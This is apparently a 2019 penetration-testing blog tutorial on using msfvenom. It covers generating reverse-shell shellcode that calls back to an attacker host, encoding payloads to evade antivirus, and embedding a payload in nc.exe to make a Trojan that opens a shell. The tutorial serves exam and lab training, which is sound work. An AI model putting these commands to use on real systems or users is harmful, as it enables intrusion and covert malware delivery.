Offensive Msfvenom: From Generating Shellcode to Creating Trojans

PenTest-duck
10 min readOct 4, 2019

--

Msfvenom — a member of the Metasploit family

Introduction

Today, we’ll cover how to generate and customise shellcode using the Metasploit Framework’s Msfvenom. Msfvenom is amazing in that it has the ability to generate shellcode quickly and easily, and you can directly use your favourite payloads that are within the Metasploit Framework (windows/shell_reverse_tcp, linux/x86/meterpreter/reverse_tcp and much much more). Also, for OSCP-ers, Msfvenom is legal for exam use, so don’t worry :) You will mostly require Msfvenom in exploit development, such as Buffer Overflows.

Let’s see how we can:
- Differentiate between staged VS stageless payloads
- Select a payload and configure its options
- Configure the architecture and OS platform of the payload
- Set the output file and format
- Eliminate bad characters
- Utilise encoders
- Prepend a NOP sled
- Reduce the shellcode length
- Customise shellcode output
- Create a Trojan with an existing executable (YAY!)

Standard Shellcode Generation

We will explore a standard way to generate a stageless reverse shell shellcode for a Windows 32-bit target.

Choosing and Configuring Your Payload

First of all, select the payload that you want to transform into shellcode. You can see a list of all the Metasploit payloads by using msfvenom -l payloads (at least 550 different payloads ready to go at the tap of the keyboard).

550+ Payloads Available for Usage by Msfvenom

One thing to note here is the difference between staged and stageless payloads.

Staged payloads are denoted with the use of a forward slash (/; e.g. windows/shell/reverse_tcp). Staged payloads send a small stager to the target, which connects back to the attacker and downloads the rest of the payload. Therefore, staged payloads need special payload listeners, such as multi/handler in Metasploit. Staged payloads are ideal in situations where you have limited shellcode space, most commonly in Buffer Overflows (but that’s a story for another day).

Stageless payloads are denoted with the use of an underscore (_; e.g. windows/shell_reverse_tcp). Stageless payloads send the entire payload to the target at once, and therefore don’t require the attacker to provide more data. That means we have a variety of listeners we can use, such as Netcat. Find out how to set up a listener using Netcat/Ncat in my post here.

We also have different types of payloads, such as normal bind/reverse shell payloads (e.g. linux/x86/shell_bind_tcp) and Meterpreter payloads. Find out more about the difference between bind and reverse shells in my post here. For those who don’t know, Meterpreter is Metasploit’s advanced shell (I describe it as “a shell on steroids”) that has many integrated features and close integration to the rest of the Metasploit Framework. One downside of Meterpreter is that it is limited to one-use only in the OSCP exams. Meterpreter payloads are generally much larger in size as well, so it’s not ideal for BOFs. Meterpreter payloads need Metasploit’s multi/handler to catch the shell.

You can also see payloads for different Operating Systems (Linux, Windows, OSX, Android), different architectures (x86, x64) and different formats (php, java etc.). Select the payload that suits your target the most, and let’s now take a look at its required and optional values.

To view the options you need to/may set, run msfvenom -p payload --list-options (e.g. msfvenom -p windows/shell_reverse_tcp --list-options).

Msfvenom Payload Options

For our windows/shell_reverse_tcp payload above, and many reverse shell payloads, we must set the LHOST option, and can change the default LPORT and EXITFUNC option settings if we needed to. To explain these options a little bit:
LHOST: the “listening host”, which is the IP address of the attacker machine
for the target to connect back with the reverse shell to
LPORT:
the “listening port”, which is the port of the attacker machine that the
target connnects to
EXITFUNC:
the exiting method, which chooses if you want to close the whole
process or just the relevant thread (useful when performing Buffer
Overflows and you don’t want the application to crash after you have
exploited it)

There are several other advanced options you can set, such as PrependMigrate which migrates the shellcode to a new process immediately (useful during client-side attacks when e.g. if the user closes the web browser, the shellcode will stop running, and so we want to shift to a new process to prevent this).

We can turn our desired payload and payload options configuration into an Msfvenom command, such as this: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443

Shellcode Formats and Output Redirection

But you will notice that the output is a garbled mess; that’s because the default format for the shellcode is raw.

Raw Payload Output

Sometimes, you may want this, so you can redirect it to an executable file, but other times, you just want to be able to copy paste the shellcode into an exploit. To do that, you can use the -f format option to simply specify the output format. There are many formats to choose from, as demonstrated with msfvenom -l formats:

Lots of Msfvenom Shellcode Output Formats

We can use -f py to print the output in a Python-friendly format (handy for BOF scripts), -f c to print it in C format etc.. If you want a quick way to generate executable files, run -f exe for Windows .exe format, -f elf for Linux ELF executable format, -f war for .war format (for Tomcat etc.), and either redirect the output of the command to a file with > file.format or use Msfvenom’s option of -o file.format (e.g. -o evil.exe).

Standard Windows x86 Executable Shellcode Generation

Optional Platform & Architecture Selection

We can also see that Msfvenom keeps on telling us that “No platform was selected” and “No arch selected”. Since Msfvenom’s default settings for those options matched our needs, we can leave them there, but if you want to change the OS platform and/or architecture, you can use the -a architecture and --platform OS-platform options. For example, to achieve the same results as above, we can specify -a x86 --platform Windows. But in most cases, Msfvenom will figure out the architecture and platform for you.

These are the barebone commands that we will need to generate a standard shellcode. However, if you start to consider real life scenarios such as bad characters and AV evasion, you should look into the Encoding and Bad Character Elimination features of Msfvenom.

Eliminating Badchars & Encoding

If you have done even the simplest Saved Return Pointer Overwrite Buffer Overflow attacks, you will know that \x00 or null byte is a very common bad character (along with classic ones like \x0a (line feed), \x0d (carriage return) & \x20 (space)). This means using any of these “bad” bytes will cause the shellcode to be truncated or the application to crash. To avoid this, we just won’t include these badchars in our shellcode at all! Let’s see how we can achieve this with Msfvenom.

Eliminating Badchars with Encoding

If we solely wanted to remove badchars from our shellcode, we can just specify the -b ‘badchars, e.g. -b ‘\x00\x0a\x0d\x20’ and Msfvenom will automatically use an encoder (x86/shikata_ga_nai) to encode the shellcode and remove the bad bytes in the process. But encoders can do much more than just badchar filtering. You can see all the encoders with msfvenom -l encoders:

Msfvenom Encoders

The most popular, and arguably the best encoder for Msfvenom is x86/shikata_ga_nai (shikata ga nai means “it cannot be helped” in Japanese), which is ranked “excellent”. It is a “polymorhpic XOR additive feedback encoder” — but hang on, what does that even mean?

Shikata_ga_nai reorders instructions and dynamically selects registers to encode our shellcode and get different output each time, which makes it harder for signature-based detection to pick up our malicious shellcode. The prepended decoder is obfuscated as well, which aims to only let our target decode the shellcode. If you upload payloads encoded with shikata_ga_nai to VirusTotal, you will see a decrease in the number of AVs that are able to detect the payload than when the payload isn’t encoded. You can take this AV evasion to the next level by adding more iterations of encoding with the -i no. option. If you have -i 10, the encoder will run 10 times. The downside of adding more iterations is that the shellcode size increases every iteration.

Encoder Iterations vs Increased Shellcode Size

Creating a Trojan from an Existing Executable

Msfvenom has a feature which enables it to embed the payload within an existing executable. This can be used to create Trojans, seemingly legitimate programs that hide malicious code inside. The -x executable option selects the executable to use as a template for the payload. You can find many useful Windows executable files in /usr/share/windows-binaries.

However, only using the -x option will cause the executable to hang every now and then. The -k option allows our payload to run in a separate, new thread, thus allowing normal continuation of the executable while the payload is activated.

Generating a Trojan nc.exe

We can now transfer this Trojan file to our Win7 host, set up a listener on our attacker machine on port 4444 (default port for Metasploit payloads) with ncat -nvlp 4444 (check my other post for more Netcat/Ncat tricks) and run the malicious Netcat executable on our Win7 target.

Running the Trojan nc.exe

We ran the Netcat executable without any parameters, and Netcat, as expected, requests for further input. But we don’t need to do anything further, because when we check our listener, we see that we have got ourselves a shell from the target!

Getting a Shell from the Trojan

Honestly, this was the first time I’ve tried out Msfvenom’s Trojan generation feature, and I was very excited to see the shell pop up! Now it’s your turn to get creative and #TrojanAllTheThings!

Additional Options

NOP Sled

If you want a NOP sled integrated within the shellcode, use the -n nop-no. option to prepend the specified number of NOPs before the payload.

Shellcode with 20-byte Multi-byte NOPs

Don’t be alarmed if you don’t see the familiar string of \x90’s, as Msfvenom defaults to using x86/opty2, which generates multi-byte NOPs (like pseudo-NOPs; they aren’t actual \x90’s but they effectively provide a similar effect). Plus, if you are using an encoder such as shikata_ga_nai, the encoder will further obfuscate the NOP sled.

Limiting Shellcode Size

You might have a tight shellcode space in memory for a BOF attack, and you want to reduce the shellcode size to under a specific number of bytes. In this case, you can use the -s no. option to specify the upper limit of the size of the payload.

Before Shellcode Size Limiting
After Shellcode Size Limiting

In our case here, we have shaved off 58 bytes by lowering the shellcode’s maximum size. But don’t get too greedy and make the maximum too low, as it will cause an error and the shellcode generation won’t work. If you want the smallest possible size for the shellcode, use the --smallest option to let Msfvenom generate the smallest shellcode using any, or no, encoder.

Changing the Shellcode Variable Name

As we have seen numerous times above, Msfvenom defaults to using buf as the name of the string that stores the shellcode. If buf overlaps with another variable you have in your code, or you simply want to give it a more distinguishable name, use the -v var-name option to customise the variable name.

Changing the Variable Name

For example, using shellcode as the name instead of buf helps you identify the shellcode easily in your script.

Word of Warning

Just a quick heads up before I end this post — you will often come across situations when you have a public exploit (e.g. from Exploit-DB) and you need to swap out the shellcode included in the exploit with your own one that is customised to your needs. When you are swapping out the shellcode, take note of the length of the original shellcode. It might be written in a comment by the author, or you might have to copy paste the shellcode in python -c ‘print(len(shellcode))’ and check the length yourself.

When you are generating your shellcode, make sure the end result has the same length as the original shellcode, as precision Buffer/Heap overflow, heap spraying etc. can be adversely effected even with a few bytes of misalignment.

If the shellcode is too short, prepend some “\x90”s to match the desired shellcode length, or use the -n option in Msfvenom to get a more fancy NOP sled.

If the shellcode is too long, try using Msfvenom’s -s option to reduce the size to the desired length, or use the --smallest option to make the shellcode as short as possible, then add some NOPs.

Further Digging

Run msfvenom -h
Metasploit Unleashed — Msfvenom: https://www.offensive-security.com/metasploit-unleashed/msfvenom/
How Shikata_Ga_Nai Works: https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb
Encoder Obfuscation Techniques: https://cs.gmu.edu/~xwangc/
Publications/ISC2014-AttackCodeExtraction-final.pdf

--

--